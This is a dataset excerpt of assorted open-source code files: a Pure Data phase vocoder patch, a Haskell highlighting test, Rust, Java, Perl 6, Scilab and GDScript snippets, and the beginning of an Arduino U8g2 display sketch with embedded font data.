content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
---|---|---|---|---|---|
#N canvas 223 113 913 495 12;
#X floatatom 457 258 0 0 0;
#X floatatom 793 114 0 0 0;
#X floatatom 654 114 0 0 0;
#N canvas 249 280 600 398 loc&precess 0;
#X floatatom 218 312 0 0 0;
#X msg 369 239 set \$1;
#X obj 367 282 outlet;
#X obj 114 364 outlet;
#X obj 233 96 r location;
#X msg 113 321 set \$1;
#X obj 368 203 r speed;
#X obj 75 95 r see-location;
#X obj 92 139 t b f;
#X obj 113 292 f;
#X obj 73 173 int;
#X obj 73 206 sel 0;
#X msg 209 139 1;
#X msg 275 138 0;
#X obj 150 245 del 300;
#X connect 1 0 2 0;
#X connect 4 0 8 0;
#X connect 5 0 3 0;
#X connect 6 0 1 0;
#X connect 7 0 8 0;
#X connect 8 0 10 0;
#X connect 8 1 9 1;
#X connect 9 0 5 0;
#X connect 10 0 11 0;
#X connect 11 0 12 0;
#X connect 11 0 14 0;
#X connect 12 0 10 1;
#X connect 13 0 10 1;
#X connect 14 0 13 0;
#X connect 14 0 9 0;
#X restore 654 91 pd loc&precess;
#N canvas 0 0 600 400 setlocprecess 0;
#X obj 235 113 inlet;
#X obj 100 109 inlet;
#X obj 231 144 s speed;
#X obj 101 144 s location;
#X connect 0 0 2 0;
#X connect 1 0 3 0;
#X restore 654 138 pd setlocprecess;
#X obj 457 279 s transpo;
#X obj 457 216 r transpo;
#X msg 457 237 set \$1;
#X msg 673 387 \; location 0 \; speed 200;
#X text 200 8 PHASE VOCODER;
#X text 609 18 set location;
#X text 609 36 and stop;
#X text 609 54 precession;
#X text 785 53 precession;
#X text 785 71 speed in;
#X text 785 89 hundredths;
#X text 457 179 transposition;
#X text 457 197 in cents;
#X text 666 360 contraction;
#X text 784 360 expansion;
#X msg 776 387 \; location 0 \; speed 10;
#X text 30 349 100 maximum;
#X text 30 331 output meter;
#X floatatom 610 218 0 5 60;
#X text 645 218 <--set me to change length;
#N canvas 0 0 265 196 length 0;
#X obj 46 23 inlet;
#X obj 48 101 * 44100;
#X msg 84 125 \; array2 resize \$1;
#X obj 46 48 min 60;
#X obj 60 75 s output-length;
#X obj 46 159 s maxoutsize;
#X connect 0 0 3 0;
#X connect 1 0 2 0;
#X connect 1 0 5 0;
#X connect 3 0 1 0;
#X connect 3 0 4 0;
#X restore 610 239 pd length;
#N canvas 219 38 198 151 /SUBPATCH/ 0;
#X obj 77 118 outlet;
#X obj 77 72 loadbang;
#X msg 77 95 10;
#X connect 1 0 2 0;
#X connect 2 0 0 0;
#X restore 610 197 pd;
#X text 610 259 length in seconds of the output;
#X text 610 277 buffer... maximum 60;
#N canvas 42 0 1083 546 guts 0;
#X msg 24 129 bang;
#X obj 24 405 openpanel;
#X obj 139 30 inlet;
#X obj 450 385 dac~;
#X obj 450 329 *~;
#X obj 465 306 line~;
#X obj 465 283 r master-amp;
#X msg 728 129 bang;
#X obj 728 150 savepanel;
#X obj 219 164 spigot;
#X msg 206 102 0;
#X msg 238 102 1;
#X obj 503 444 outlet;
#X obj 292 251 tabwrite~ array2;
#X obj 449 246 +~;
#X obj 450 356 hip~ 7;
#X msg 446 97 bang;
#X obj 446 118 tabplay~ array2;
#X msg 728 175 write \$1 array2;
#X obj 728 200 soundfiler;
#X obj 505 386 env~ 16384;
#X obj 591 101 route normalized;
#X msg 591 284 write -normalize \$1 array2;
#X msg 591 242 bang;
#X obj 591 263 savepanel;
#X obj 591 308 soundfiler;
#X obj 24 450 soundfiler;
#X msg 24 428 read -resize -maxsize 1e+06 \$1 array1;
#X floatatom 24 473 0 0 0;
#X obj 680 345 loadbang;
#X msg 680 368 \; window-size 2048 \; transpo 0;
#N canvas 9 7 835 599 fft-analysis 0;
#X obj 267 304 *~;
#X obj 235 304 *~;
#X obj 235 326 -~;
#X obj 333 305 *~;
#X obj 302 305 *~;
#X obj 302 328 +~;
#X obj 348 131 *~;
#X obj 317 131 *~;
#X obj 288 131 *~;
#X obj 256 131 *~;
#X obj 256 153 +~;
#X obj 225 183 *~;
#X obj 88 570 *~;
#X obj 375 256 rfft~;
#X obj 396 55 rfft~;
#X obj 488 652 *~;
#X obj 702 295 r window-size;
#X obj 770 211 r sample-rate;
#X obj 624 239 f;
#X obj 617 53 r sample-rate;
#X obj 592 30 r window-size;
#X obj 615 100 t b f;
#X obj 592 124 /;
#X obj 519 652 *~;
#X obj 89 549 *~;
#X obj 106 525 rifft~;
#X obj 89 596 outlet~;
#X obj 639 457 print~;
#X msg 639 428 bang;
#X text 155 526 inverse real FFT;
#X obj 603 215 bang~;
#X obj 528 434 line~;
#X obj 592 146 * 1000;
#X text 645 139 window size (msec);
#X obj 617 78 * 4;
#X obj 647 162 r speed;
#X obj 726 164 r location;
#X obj 655 240 +;
#X obj 648 204 *;
#X msg 726 193 0;
#X obj 624 349 +;
#X obj 615 305 t f f;
#X msg 528 406 \$1 \, \$2 \$3;
#X obj 528 378 pack 0 0 0;
#X obj 770 234 / 1000;
#X obj 624 276 *;
#X text 654 276 reading location (samples);
#X obj 652 390 / 4;
#X text 684 395 hop size (samples);
#X obj 578 476 sig~;
#X obj 546 474 +~;
#X text 653 85 (overlap times parent SR);
#X text 653 71 local sample rate;
#X obj 23 52 tabreceive~ phase-real;
#X obj 194 183 *~;
#X obj 194 205 +~;
#X obj 194 231 rsqrt~;
#X obj 317 153 -~;
#X obj 237 261 *~;
#X obj 298 261 *~;
#X obj 203 52 tabreceive~ phase-imag;
#X obj 108 390 sig~;
#X obj 90 319 t b f;
#X msg 90 340 1;
#X obj 104 364 /;
#X obj 232 447 tabsend~ phase-real;
#X obj 262 418 tabsend~ phase-imag;
#X obj 107 136 sig~ 1.5e-20;
#X obj 647 184 * 0.01;
#X obj 708 217 s speed;
#X obj 479 256 s see-location;
#X floatatom 688 368 0 0 0;
#X obj 686 347 *;
#X obj 848 245 r transpo;
#X obj 848 264 * 0.01;
#X obj 849 285 + 69;
#X obj 851 307 mtof;
#X obj 851 327 / 440;
#X obj 705 324 t b f;
#X obj 90 297 r window-size;
#X floatatom 855 361 0 0 0;
#X obj 564 556 tabreceive~ hanning;
#X obj 549 500 tabread4~ array1;
#X obj 514 524 tabread4~ array1;
#X obj 612 608 r running;
#X obj 612 632 switch~ 2048 4;
#X connect 0 0 2 1;
#X connect 1 0 2 0;
#X connect 2 0 65 0;
#X connect 2 0 25 0;
#X connect 3 0 5 1;
#X connect 4 0 5 0;
#X connect 5 0 66 0;
#X connect 5 0 25 1;
#X connect 6 0 57 1;
#X connect 7 0 57 0;
#X connect 8 0 10 1;
#X connect 9 0 10 0;
#X connect 10 0 58 1;
#X connect 10 0 54 0;
#X connect 10 0 54 1;
#X connect 11 0 55 1;
#X connect 12 0 26 0;
#X connect 13 0 1 1;
#X connect 13 0 3 1;
#X connect 13 1 0 1;
#X connect 13 1 4 1;
#X connect 14 0 9 1;
#X connect 14 0 7 1;
#X connect 14 1 6 1;
#X connect 14 1 8 1;
#X connect 15 0 14 0;
#X connect 16 0 72 0;
#X connect 17 0 44 0;
#X connect 18 0 37 0;
#X connect 18 0 45 0;
#X connect 18 0 70 0;
#X connect 19 0 34 0;
#X connect 20 0 22 0;
#X connect 21 0 22 0;
#X connect 21 1 22 1;
#X connect 22 0 32 0;
#X connect 23 0 13 0;
#X connect 24 0 12 0;
#X connect 25 0 24 1;
#X connect 28 0 27 0;
#X connect 30 0 18 0;
#X connect 31 0 27 0;
#X connect 31 0 50 0;
#X connect 31 0 83 0;
#X connect 32 0 43 2;
#X connect 32 0 38 1;
#X connect 34 0 21 0;
#X connect 35 0 68 0;
#X connect 36 0 39 0;
#X connect 36 0 18 1;
#X connect 37 0 18 1;
#X connect 38 0 37 1;
#X connect 39 0 69 0;
#X connect 40 0 43 1;
#X connect 41 0 43 0;
#X connect 41 1 40 0;
#X connect 42 0 31 0;
#X connect 43 0 42 0;
#X connect 44 0 45 1;
#X connect 45 0 41 0;
#X connect 47 0 49 0;
#X connect 49 0 50 1;
#X connect 50 0 82 0;
#X connect 53 0 9 0;
#X connect 53 0 6 0;
#X connect 54 0 55 0;
#X connect 55 0 56 0;
#X connect 56 0 58 0;
#X connect 56 0 59 0;
#X connect 57 0 59 1;
#X connect 57 0 11 0;
#X connect 57 0 11 1;
#X connect 58 0 1 0;
#X connect 58 0 4 0;
#X connect 59 0 0 0;
#X connect 59 0 3 0;
#X connect 60 0 7 0;
#X connect 60 0 8 0;
#X connect 61 0 24 0;
#X connect 62 0 63 0;
#X connect 62 1 64 1;
#X connect 63 0 64 0;
#X connect 64 0 61 0;
#X connect 67 0 10 0;
#X connect 68 0 38 0;
#X connect 71 0 47 0;
#X connect 71 0 40 1;
#X connect 72 0 71 0;
#X connect 73 0 74 0;
#X connect 74 0 75 0;
#X connect 75 0 76 0;
#X connect 76 0 77 0;
#X connect 77 0 78 0;
#X connect 77 0 80 0;
#X connect 78 0 72 0;
#X connect 78 1 72 1;
#X connect 79 0 62 0;
#X connect 81 0 23 1;
#X connect 81 0 15 1;
#X connect 81 0 12 1;
#X connect 82 0 23 0;
#X connect 83 0 15 0;
#X connect 84 0 85 0;
#X restore 291 222 pd fft-analysis;
#X msg 203 187 bang;
#X obj 38 225 samplerate~;
#X obj 38 247 s sample-rate;
#N canvas 260 23 647 768 phase-tables 0;
#N canvas 0 0 450 300 graph2 0;
#X array phase-imag 4096 float 0;
#X coords 0 1 4096 -1 400 300 1;
#X restore 234 396 graph;
#N canvas 0 0 450 300 graph3 0;
#X array phase-real 4096 float 0;
#X coords 0 1 4096 -1 400 300 1;
#X restore 232 23 graph;
#X msg 229 769 \; phase-real resize 4096 \; phase-imag resize 4096
;
#X restore 681 423 pd phase-tables;
#N canvas 138 111 767 761 hanning-window 0;
#X obj 125 281 phasor~;
#X obj 125 319 cos~;
#X obj 31 448 tabwrite~ hanning;
#X obj 41 345 -~;
#X obj 38 298 sig~ 1;
#X msg 51 246 0;
#X text 193 19 CALCULATE HANNING;
#X text 193 37 WINDOW TABLE;
#N canvas 0 0 450 300 graph1 0;
#X array hanning 4096 float 0;
#X coords 0 1 4096 -1 400 300 1;
#X restore 375 384 graph;
#X obj 126 233 sig~;
#X text 239 202 sample rate / window size;
#X msg 31 196 bang;
#X obj 90 367 sig~ 0.5;
#X obj 67 409 *~;
#X obj 128 109 samplerate~;
#X obj 34 31 r window-size;
#X obj 34 72 t b f;
#X msg 375 746 \; hanning resize 4096;
#X obj 126 180 /;
#X connect 0 0 1 0;
#X connect 1 0 3 1;
#X connect 3 0 13 0;
#X connect 4 0 3 0;
#X connect 5 0 0 1;
#X connect 9 0 0 0;
#X connect 11 0 2 0;
#X connect 11 0 5 0;
#X connect 12 0 13 1;
#X connect 13 0 2 0;
#X connect 14 0 18 0;
#X connect 15 0 16 0;
#X connect 16 0 14 0;
#X connect 16 0 11 0;
#X connect 16 1 18 1;
#X connect 18 0 9 0;
#X restore 681 447 pd hanning-window;
#X obj 100 335 delay;
#X obj 160 332 + 100;
#X obj 139 51 route read run start hear save stop;
#X obj 895 245 timer;
#X obj 895 269 * 44.1;
#X obj 232 314 r maxoutsize;
#X obj 217 338 f;
#X msg 217 360 \; array2 resize \$1;
#X msg 100 358 \; action stop;
#X obj 186 30 r action;
#X obj 910 172 r running;
#X obj 894 195 f;
#X obj 894 219 sel 1;
#X obj 895 344 moses;
#X obj 946 345 r maxoutsize;
#X msg 895 366 \; array2 resize \$1;
#X msg 918 293 \; running 0;
#X msg 293 277 \; running 1;
#X obj 160 310 / 44.1;
#X msg 751 10 bang;
#X obj 277 92 r location;
#X obj 277 115 r speed;
#X obj 278 137 r transpo;
#X msg 43 283 \; pd dsp 1;
#X obj 503 414 int;
#X connect 0 0 1 0;
#X connect 1 0 27 0;
#X connect 2 0 39 0;
#X connect 4 0 15 0;
#X connect 5 0 4 1;
#X connect 6 0 5 0;
#X connect 7 0 8 0;
#X connect 8 0 18 0;
#X connect 9 0 10 0;
#X connect 9 0 32 0;
#X connect 10 0 9 1;
#X connect 11 0 9 1;
#X connect 14 0 4 0;
#X connect 15 0 3 0;
#X connect 15 0 3 1;
#X connect 15 0 20 0;
#X connect 16 0 17 0;
#X connect 17 0 14 1;
#X connect 18 0 19 0;
#X connect 20 0 61 0;
#X connect 21 0 23 0;
#X connect 21 1 7 0;
#X connect 22 0 25 0;
#X connect 23 0 24 0;
#X connect 24 0 22 0;
#X connect 26 0 28 0;
#X connect 27 0 26 0;
#X connect 29 0 30 0;
#X connect 31 0 13 0;
#X connect 31 0 14 0;
#X connect 32 0 33 0;
#X connect 32 0 37 0;
#X connect 32 0 40 0;
#X connect 32 0 43 0;
#X connect 32 0 13 0;
#X connect 32 0 54 0;
#X connect 32 0 60 0;
#X connect 33 0 34 0;
#X connect 37 0 45 0;
#X connect 38 0 37 1;
#X connect 39 0 0 0;
#X connect 39 1 10 0;
#X connect 39 1 32 0;
#X connect 39 2 11 0;
#X connect 39 3 16 0;
#X connect 39 4 21 0;
#X connect 39 5 56 0;
#X connect 40 0 41 0;
#X connect 41 0 53 0;
#X connect 41 0 50 0;
#X connect 42 0 43 1;
#X connect 42 0 55 0;
#X connect 43 0 44 0;
#X connect 46 0 39 0;
#X connect 47 0 48 1;
#X connect 48 0 49 0;
#X connect 49 0 40 1;
#X connect 50 0 52 0;
#X connect 51 0 50 1;
#X connect 55 0 38 0;
#X connect 56 0 48 0;
#X connect 57 0 9 0;
#X connect 58 0 9 0;
#X connect 59 0 9 0;
#X connect 61 0 12 0;
#X restore 30 290 pd guts;
#X msg 30 164 run the transformation;
#X msg 30 227 hear the output buffer again;
#X text 30 124 click below to:;
#X msg 30 248 save the output buffer;
#X floatatom 30 311 0 0 0;
#X msg 30 143 read an input file;
#X msg 30 269 save normalized to max amplitude;
#N canvas 213 187 495 352 input-sample 0;
#N canvas 0 0 450 300 graph1 0;
#X array array1 63024 float 0;
#X coords 0 1 63023 -1 400 300 1;
#X restore 55 22 graph;
#X text 146 379 INPUT SAMPLE;
#X restore 41 401 pd input-sample;
#N canvas 192 180 507 343 output-sample 0;
#N canvas 0 0 450 300 graph2 0;
#X array array2 2.646e+06 float 0;
#X coords 0 1 2.646e+06 -1 400 300 1;
#X restore 58 13 graph;
#X text 155 375 OUTPUT SAMPLE;
#X restore 41 426 pd output-sample;
#X floatatom 385 382 0 0 120;
#N canvas 194 37 397 591 output 0;
#X obj 64 196 t b;
#X obj 64 147 f;
#X obj 64 99 inlet;
#X text 68 78 mute;
#X obj 64 220 f;
#X msg 130 235 0;
#X msg 64 123 bang;
#X obj 64 172 moses 1;
#X obj 130 211 t b f;
#X obj 93 427 outlet;
#X msg 93 403 set \$1;
#X obj 180 158 moses 1;
#X obj 217 429 dbtorms;
#X obj 217 454 pack 0 100;
#X obj 180 133 r master-lvl;
#X obj 93 369 r master-lvl;
#X obj 80 276 s master-lvl;
#X obj 217 478 s master-amp;
#X obj 201 235 loadbang;
#X msg 201 260 \; master-lvl 90;
#X connect 0 0 4 0;
#X connect 1 0 7 0;
#X connect 2 0 6 0;
#X connect 4 0 16 0;
#X connect 5 0 16 0;
#X connect 6 0 1 0;
#X connect 7 0 0 0;
#X connect 7 1 8 0;
#X connect 8 0 5 0;
#X connect 10 0 9 0;
#X connect 11 1 4 1;
#X connect 12 0 13 0;
#X connect 13 0 17 0;
#X connect 14 0 1 1;
#X connect 14 0 11 0;
#X connect 15 0 10 0;
#X connect 15 0 12 0;
#X connect 18 0 19 0;
#X restore 385 361 pd output;
#X msg 385 340 mute;
#X obj 385 403 s master-lvl;
#X text 427 339 <-- mute button;
#X text 422 381 <--set me;
#X text 385 423 LINE OUT LEVEL in dB (100 norm);
#X text 14 25 This is a Fourier-based analysis/resynthesis tool.;
#X text 22 45 You can move forward or backward in the sample \, or
"freeze" at any point using the "precession" and "location" controls.
Transposition is in hundredths of a half-tone.;
#X msg 30 185 start transformation when I change controls;
#X msg 30 206 stop the transformation;
#X text 731 329 examples:;
#X msg 614 94 -40;
#X connect 0 0 5 0;
#X connect 1 0 4 1;
#X connect 2 0 4 0;
#X connect 3 0 2 0;
#X connect 3 1 1 0;
#X connect 6 0 7 0;
#X connect 7 0 0 0;
#X connect 23 0 25 0;
#X connect 26 0 23 0;
#X connect 29 0 34 0;
#X connect 30 0 29 0;
#X connect 31 0 29 0;
#X connect 33 0 29 0;
#X connect 35 0 29 0;
#X connect 36 0 29 0;
#X connect 39 0 42 0;
#X connect 40 0 39 0;
#X connect 41 0 40 0;
#X connect 48 0 29 0;
#X connect 49 0 29 0;
#X connect 51 0 2 0;
| Pure Data | 3 | mxa/pure-data | doc/7.stuff/soundfile-tools/3.phase.vocoder.pd | [
"TCL"
] |
extends Label
func _process(_delta):
visible = get_tree().paused
| GDScript | 3 | jonbonazza/godot-demo-projects | 3d/physics_tests/utils/label_pause.gd | [
"MIT"
] |
test file for Haskell syntax highlighting in KDE's Kate
The test file for literate Haskell can be easily created like this:
cat highlight.hs | sed -e "s|^|> |" -e "s|> -- ||" -e "s|^> $||" > highlight.lhs
You only have to manually edit the multi-line comment below.
this is a single-line comment
{- this is a multi-line comment
Things like "a string" or a 'c' character shouldn't be highlighted in here.
I could even start a new
one-line comment.
-}
a data definition
> data Tree a = Br (Tree a) (Tree a) | Leaf a | Nil deriving (Show, Eq)
function definition, "funnyfunction::", "Integer", "Int", "Bool" should be highlighted
> funnyfunction::(Tree a)=>[a]->Integer->Int->Bool
strings and chars
first line of function definitions (type declaration) should be highlighted
> strangefunction::Int->String
> strangefunction 1 = "hello"
> strangefunction 2 = "what's up"
> strangefunction 3 = (strangefunction 1) ++ ", " ++ (strangefunction 2)
> strangefunction 4 = 'a':'b':'c':'"':[] -- will return "abc"
> strangefunction 5 = '\n':[]
> strangefunction 6 = '\invalidhaskell':[]
function name including the single quote character
and infix operator (`div`)
> justtesting'::Int->Int
> justtesting' 2 = 2+1
> justtesting' 9 = 7 `div` 2
same definition as above, slightly different function name and a couple more whitespaces
> justtesting'' :: Int -> Int
> justtesting'' 2 = 3
> justtesting'' 9 = 3 + 9 - 9
the following lines are copied out of Haskell's "Prelude.hs"
> infixl 7 *, /, `quot`, `rem`, `div`, `mod`, :%, %
everything highlighted except the "a"
> class Bounded a where
> minBound, maxBound :: a
> class (Num a, Ord a) => Real a where
> toRational :: a -> Rational
finally, some keyword lists
keywords
> case, class, data, deriving, do, else, if, in, infixl, infixr, instance, let, module, of, primitive,
> then, type, where
infix operators
> quot, rem, div, mod, elem, notElem, seq
this stuff is not handled yet
> !!, %, &&, $!, $, *, **, -,., /=, <, <=, =<<, ==, >, >=, >>, >>=, ^, ^^, ++, ||
functions
> FilePath, IOError, abs, acos, acosh, all, and, any, appendFile,
> approxRational, asTypeOf, asin, asinh, atan, atan2, atanh, basicIORun,
> break, catch, ceiling, chr, compare, concat, concatMap, const, cos, cosh,
> curry, cycle, decodeFloat, denominator, digitToInt, div, divMod, drop,
> dropWhile, either, elem, encodeFloat, enumFrom, enumFromThen,
> enumFromThenTo, enumFromTo, error, even, exp, exponent, fail, filter, flip,
> floatDigits, floatRadix, floatRange, floor, fmap, foldl, foldl1, foldr,
> foldr1, fromDouble, fromEnum, fromInt, fromInteger, fromIntegral,
> fromRational, fst, gcd, getChar, getContents, getLine, head, id, inRange,
> index, init, intToDigit, interact, ioError, isAlpha, isAlphaNum, isAscii,
> isControl, isDenormalized, isDigit, isHexDigit, isIEEE, isInfinite, isLower,
> isNaN, isNegativeZero, isOctDigit, isPrint, isSpace, isUpper, iterate, last,
> lcm, length, lex, lexDigits, lexLitChar, lines, log, logBase, lookup, map,
> mapM, mapM_, max, maxBound, maximum, maybe, min, minBound, minimum, mod,
> negate, not, notElem, null, numerator, odd, or, ord, otherwise, pi, pred,
> primExitWith, print, product, properFraction, putChar, putStr, putStrLn,
> quot, quotRem, range, rangeSize, read, readDec, readFile, readFloat,
> readHex, readIO, readInt, readList, readLitChar, readLn, readOct, readParen,
> readSigned, reads, readsPrec, realToFrac, recip, rem, repeat, replicate,
> return, reverse, round, scaleFloat, scanl, scanl1, scanr, scanr1, seq,
> sequence, sequence_, show, showChar, showInt, showList, showLitChar,
> showParen, showSigned, showString, shows, showsPrec, significand, signum,
> sin, sinh, snd, span, splitAt, sqrt, subtract, succ, sum, tail, take,
> either, elem, encodeFloat, enumFrom, enumFromThen, enumFromThenTo,
> enumFromTo, error, even, exp, exponent, fail, filter, flip, floatDigits,
> floatRadix, floatRange, floor, fmap, takeWhile, tan, tanh, threadToIOResult,
> toEnum, toInt, toInteger, toLower, toRational, toUpper, truncate, uncurry,
> undefined, unlines, until, unwords, unzip, unzip3, userError, words,
> writeFile, zip, zip3, zipWith, zipWith3
type constructors
> Bool, Char, Double, Either, Float, IO, Integer, Int, Maybe, Ordering, Rational, Ratio, ReadS,
> ShowS, String
classes
> Bounded, Enum, Eq, Floating, Fractional, Functor, Integral, Ix, Monad, Num, Ord, Read, RealFloat,
> RealFrac, Real, Show
data constructors
> EQ, False, GT, Just, LT, Left, Nothing, Right, True
| Literate Haskell | 4 | dawidsowa/syntax-highlighting | autotests/input/highlight.lhs | [
"MIT"
] |
= Title1
Example
= Title2
Example
| RDoc | 0 | tnir/gitlab-workhorse | testdata/file.rdoc | [
"MIT"
] |
// run-pass
#![allow(dead_code)]
enum E { V, VV(isize) }
static C: E = E::V;
fn f(a: &E) {
match *a {
E::V => {}
E::VV(..) => panic!()
}
}
pub fn main() {
f(&C)
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/consts/const-enum-byref.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
lines(0);
ilib_verbose(0);
ierr = exec('loader.sce', 'errcatch');
if ierr <> 0 then
disp(lasterror());
exit(ierr);
end
example_Init();
disp(mean([1,2,3,4]));
// ... or a wrapped std::vector<int>
v = new_IntVector();
for i = 1:4
IntVector_push_back(v, i);
end;
disp(average(v));
// half will return a Scilab matrix.
// Call it with a Scilab matrix...
disp(half([1.0, 1.5, 2.0, 2.5, 3.0]));
// ... or a wrapped std::vector<double>
v = new_DoubleVector();
for i = 1:4
DoubleVector_push_back(v, i);
end;
disp(half(v));
exit
| Scilab | 4 | kyletanyag/LL-Smartcard | cacreader/swig-4.0.2/Examples/scilab/std_vector/runme.sci | [
"BSD-3-Clause"
] |
//Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right
//which minimizes the sum of all numbers along its path.
//Note: You can only move either down or right at any point in time.
//Example 1:
//[[1,3,1],
//[1,5,1],
//[4,2,1]]
//Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
class MinimumPathSum {
public int minPathSum(int[][] grid) {
for(int i = 1; i < grid.length; i++) {
grid[i][0] += grid[i - 1][0];
}
for(int i = 1; i < grid[0].length; i++) {
grid[0][i] += grid[0][i - 1];
}
for(int i = 1; i < grid.length; i++) {
for(int j = 1; j < grid[0].length; j++) {
grid[i][j] += Math.min(grid[i - 1][j], grid[i][j - 1]);
}
}
return grid[grid.length - 1][grid[0].length - 1];
}
}
| Java | 5 | ChickenMomos/interviews | leetcode/array/MinimumPathSum.java | [
"MIT"
] |
use v6;
say qq/
The sequence of triangle numbers is generated by adding the natural numbers.
So the 7th triangle number would be 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28.
The first ten terms would be:
1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ...
Let us list the factors of the first seven triangle numbers:
1: 1
3: 1,3
6: 1,2,3,6
10: 1,2,5,10
15: 1,3,5,15
21: 1,3,7,21
28: 1,2,4,7,14,28
We can see that the 7th triangle number, 28, is the first triangle number
to have over five divisors.
Which is the first triangle number to have over five-hundred divisors?")
/;
# This is based on the SETL program
# http://www.hakank.org/setl/project_euler12.setl
#
# Triangle numbers
# > [\+] 1..10
# 1 3 6 10 15 21 28 36 45 55
my $max_len = 500;
# my $max_len = 5;
my $c = 1;
for [\+] 1...* -> $n {
my $num_divisors = num_divisors($n);
# say "n:$n: num_divisors:$num_divisors";# if $c++ % 1000 == 0;
if $num_divisors > $max_len {
say "Found $n: num_divisors: $num_divisors (> $max_len))";
last;
}
}
sub prime_factors($n) {
my $m = $n;
my @factors = ();
while $m %% 2 { @factors.push(2); $m /= 2; }
for (3,5...*>(1+sqrt($m)).Int).grep({ $m %% $_}) -> $k {
while $m %% $k {
@factors.push($k);
$m /= $k;
}
last if $m == 1;
}
@factors.push($m.Num) if $m > 1;
return @factors;
}
sub collect_factors(@factors) {
my %h = ();
for @factors { %h{$_}++ };
my @z = gather for %h.kv -> $k, $v { take [$k.Int, $v] };
return @z;
}
sub num_divisors($n) {
return [*] gather for collect_factors(prime_factors($n)) -> @p { take @p[1]+1 };
}
| Perl6 | 5 | Wikunia/hakank | perl6/euler12.p6 | [
"MIT"
] |
{% include '@SyliusUi/_stylesheets.html.twig' with {'path': 'assets/shop/css/style.css'} %}
| Twig | 2 | titomtd/Sylius | src/Sylius/Bundle/ShopBundle/Resources/views/_styles.html.twig | [
"MIT"
] |
/*
TrackControl.ino
Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)
Copyright (c) 2018, [email protected]
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <Arduino.h>
#include <U8g2lib.h>
#include <string.h>
#include <stdarg.h>
#ifdef U8X8_HAVE_HW_SPI
#include <SPI.h>
#endif
#ifdef U8X8_HAVE_HW_I2C
#include <Wire.h>
#endif
#define MENU_FONT u8g2_font_helvB18_tr
#define SUBMENU_FONT u8g2_font_helvB12_tr
/*
158*128
bold: 65..70
normal: 71...76
*/
/*
const uint8_t track_font[1646] U8G2_FONT_SECTION("track_font") =
"\14\0\7\4\7\7\10\6\11\232|\2\2~\0~\0\0\0\0\0\6UA\273z\276\240\350\271\365\0"
"?\200\260=\300\17\200d\17\360\3\260\327\3\374\265\36\340\17 V\17\360\7 \251\7\70\36\304{\200"
"\220nk\326^n\355\255t\250\225z\207\225\200\204\225\204\203\205\342G~\315\315\374\310\257\271\231\237\271"
"\231\237\271E\67sC\267\346\206n\350\205n\321K\275\320\355\377\377\377\377W\257\325\15\335V\257\352\206"
"n\325K\335\320M\335\320\255\272\241\233\272\241\37\272\241\337\346\210<\30H\134\30'|\30\307\233\32h"
"\233\36(\233\42\310\232(I\252,\213\311\62\13\311\70\357\367>\17\320B\17\360@\17\360O\364\0\177"
"\200Vz\200?\200B=\300\37\340\264\36\340\7X\17\0Bc<%\243\352Y\60p\4Wlv\66"
"DS\62M\226fy\63D\303\277\332}\65T\273\331N\355\330N\355\330N\355\330N\355\330N\15\253"
"\35\333\251\241\332\261\235\32VK\264\34M\315\226\214\305Z\314\275\36@\260\36\300\201\36\340\201\36\240\211"
"\36`\221\36 \231\36\340\244\36\0\235\36\300\254\36@\270\234L\1Cu\256\275\373\350\31\320B\17\20"
"<\17@\66\17p\60\17\200.\17\240BO\324H\253\244L\351\204\357tP\27\312\244\14\312\244\14\352"
"\240L\312\240L\252\244\14\312\244\14\312J\31\224\275T]\312\240\354\377\377\377\377\177'\203\262N\6e"
"\235\316\311\240\314\311\240\314\311\240\314\311\234\316\311\234\216\351\62\241\22\36)\33)\321\2\61P\353<\316"
"\3\210\216\3\61Q*\31\21\0D\236~\362\243\354\271\364\0\37\240\375\36\340\7\70\267\7\370\1\332\354"
"\1\376\0\342\365\0\177\200\302z\270\206j?Fj\303%ZH\365a\313\324Y\316\264QR\224IU"
"tIWTIY\64A\335\23A\336\23\71\340\363\70\342\323\70\344\263@e\263\70\346\223\70h\203\70"
"js\70jc\70lS\60mC\70\355\63\60o\63\60o#\60\360\23\60q\23(r\63\20\363\203"
"\267\377\377\377\377\341K\276\340\355\341\13\336\302\27\274\205/x\353n\360\346n\360\346~\354\347n\356\307"
"~w?w\223'\16\0E|\63s\262\352\331\42b\304eZg\225o\205X\370X\247uX\210u"
"Z\247eZW\313\264N\313\264N\313\270L\313\270L\313\264N\313j\235\226\345*.\323\262\134\225\313"
"\264\354\377Z\305U\327\62\255\342\252Z\246U\134\245U\134\245eZ\245eZ\245eZ\245eX\246e"
"X\26\353\254\356VH\205RH\205R\351\264L\313\304H\16\364\0B\363\0\247\363\0\345\363\0B\364"
"H\13\5\0F\254\332.%\354y\344\216\17\220~\17\360\0\1\367\0\17`h\17\360\0\353\365\0!"
